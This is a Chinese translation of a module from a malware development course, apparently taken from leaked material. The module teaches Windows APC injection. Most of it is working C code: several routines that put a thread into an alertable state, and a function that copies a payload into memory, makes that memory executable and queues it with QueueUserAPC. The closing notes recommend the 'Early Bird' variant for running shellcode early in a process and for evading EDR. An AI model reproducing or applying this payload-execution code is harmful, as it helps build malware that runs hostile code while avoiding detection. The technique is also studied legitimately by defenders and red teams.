模块 39 - APC 注入
恶意软件开发课程 - APC 注入
模块 39 - APC 注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
APC 注入#
简介#
本模块介绍了另一种无需创建新线程即可运行 Payload 的方法。这种技术被称为 APC 注入。
什么是 APC?#
异步过程调用 (Asynchronous Procedure Calls) ↗ 是 Windows 操作系统的一种机制,它使程序能够异步执行任务,同时继续运行其他任务。APC 作为内核模式例程实现,在特定线程的上下文中执行。恶意软件可以利用 APC 排队 Payload,然后在调度时执行它。
可警报状态 (Alertable State)#
并非所有线程都能运行排队的 APC 函数,只有处于可警报状态的线程才能运行。处于可警报状态的线程是处于等待状态的线程。当线程进入可警报状态时,它会被放置在可警报线程队列中,允许它运行排队的 APC 函数。
💡 初学者提示:APC 就像“派单”
想象一下,线程是一个外卖员。
- 平时他忙着送主单(原来的进程逻辑)。
- APC 就像派给他的一个“加单”。
- 可警报状态 (Alertable State) 指的是他送完一单,停在路边刷手机等待下一单的时候。只有在这时候,他才有空看并执行新派给他的“加单”。如果他一直在忙个不停,新派的单子就会一直在队里排着。
什么是 APC 注入?#
要将 APC 函数排队到线程,必须将 APC 函数的地址传递给 QueueUserAPC ↗ WinAPI。根据微软的文档:
应用程序通过调用 QueueUserAPC 函数将 APC 排队到线程。调用线程在对 QueueUserAPC 的调用中指定 APC 函数的地址。
为了执行注入的 Payload,我们将把它的地址传递给 QueueUserAPC。在此之前,必须将本地进程中的线程置于可警报状态。
QueueUserAPC#
QueueUserAPC 如下所示,它接受 3 个参数:
pfnAPC- 要调用的 APC 函数的地址(我们的 Payload 地址)。hThread- 可警报线程或挂起线程的句柄。dwData- 如果 APC 函数需要参数,可以在此处传递。在本模块的代码中,此值将为NULL。
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);c将线程置于可警报状态#
执行排队函数的线程需要处于可警报状态。这可以通过创建一个线程并使用以下 WinAPI 之一来完成:
- SleepEx ↗
- MsgWaitForMultipleObjectsEx ↗
- WaitForSingleObjectEx ↗
- WaitForMultipleObjectsEx ↗
- SignalObjectAndWait ↗
这些函数用于同步线程并提高应用程序的性能和响应能力,但在本例中,传递一个虚拟事件的句柄就足够了。传递给这些函数的正确参数不是必需的,因为仅仅使用其中一个函数就足以将线程置于可警报状态。
要创建虚拟事件,将使用 CreateEvent ↗ WinAPI。新创建的事件对象是一个同步对象,允许线程通过发出信号和等待事件彼此通信。由于 CreateEvent 的输出无关紧要,因此任何有效的事件都可以传递给前面显示的 WinAPI。
使用函数#
以下任何函数都可以作为牺牲可警报线程来运行排队的 APC Payload。请参阅下面有关如何使用函数将当前线程置于可警报状态的示例。
使用 SleepEx
VOID AlertableFunction1() {
// 第二个参数应为 'TRUE',使其进入可警报状态
SleepEx(INFINITE, TRUE);
}c使用 WaitForSingleObjectEx
VOID AlertableFunction2() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
// 第三个参数应为 'TRUE'
WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
CloseHandle(hEvent);
}
}c使用 WaitForMultipleObjectsEx
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
// 第五个参数应为 'TRUE'
WaitForMultipleObjectsEx(1, &hEvent, TRUE, INFINITE, TRUE);
CloseHandle(hEvent);
}
}c使用 MsgWaitForMultipleObjectsEx
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
// 第五个参数应为 'MWMO_ALERTABLE'
MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
CloseHandle(hEvent);
}
}c使用 SignalObjectAndWait
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
// 第四个参数应为 'TRUE'
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}c挂起线程 (Suspended Threads)#
如果目标线程是在挂起状态下创建的,调用 QueueUserAPC 也能成功。如果使用这种方法执行 Payload,应先调用 QueueUserAPC,然后再恢复挂起的线程。注意:线程必须是在挂起状态下创建的;挂起一个现有的线程是行不通的(因为它可能没有去检查 APC 队列的机制)。
本模块分享的代码演示了通过可警报线程和挂起线程进行的 APC 注入。
APC 注入实现逻辑#
回顾一下实现逻辑如下:
- 首先,创建一个线程,该线程运行前面提到的函数之一,以将其置于可警报状态。
- 将 Payload 注入内存。
- 将线程句柄和 Payload 基地址作为输入参数传递给
QueueUserAPC。
APC 注入函数#
RunViaApcInjection 是一个执行 APC 注入的函数,需要 3 个参数:
hThread- 可警报或挂起线程的句柄。pPayload- 指向 Payload 基地址的指针。sPayloadSize- Payload 的大小。
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
// 分配内存
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 拷贝 Payload
memcpy(pAddress, pPayload, sPayloadSize);
// 修改内存权限
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 如果 hThread 处于可警报状态,QueueUserAPC 将直接运行 Payload
// 如果 hThread 处于挂起状态,除非随后恢复线程,否则不会执行 Payload
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c演示 - 使用可警报线程的 APC 注入#


演示 - 使用挂起线程的 APC 注入#


🎯 总结#
在本模块中,我们学习了:
- APC (Asynchronous Procedure Call):Windows 的异步过程调用机制。
- 可警报状态 (Alertable State):这是 APC 执行的关键。线程必须主动“休息”并声明自己可接收 APC。
- QueueUserAPC:将代码“插入”线程待办列表的核心 API。
- 多种姿势:既可以劫持正在“休息”的可警报线程,也可以在挂起线程被激活前塞入任务。
💡 关键要点
- APC 注入比线程劫持 (Thread Hijacking) 稍微温和一些,因为它利用的是操作系统内置的任务调度机制。
- 在红队行动中,“早期鸟” (Early Bird) APC 注入(即利用挂起线程)是非常流行的技术,因为它能让 Shellcode 在目标进程真正的逻辑开始运行前就执行。
📚 下一步学习
下一个模块将介绍 Early Bird APC Injection。我们将深入探讨这种在进程初始化阶段就实现注入的高级技术,它在绕过某些 EDR 检测方面表现卓越!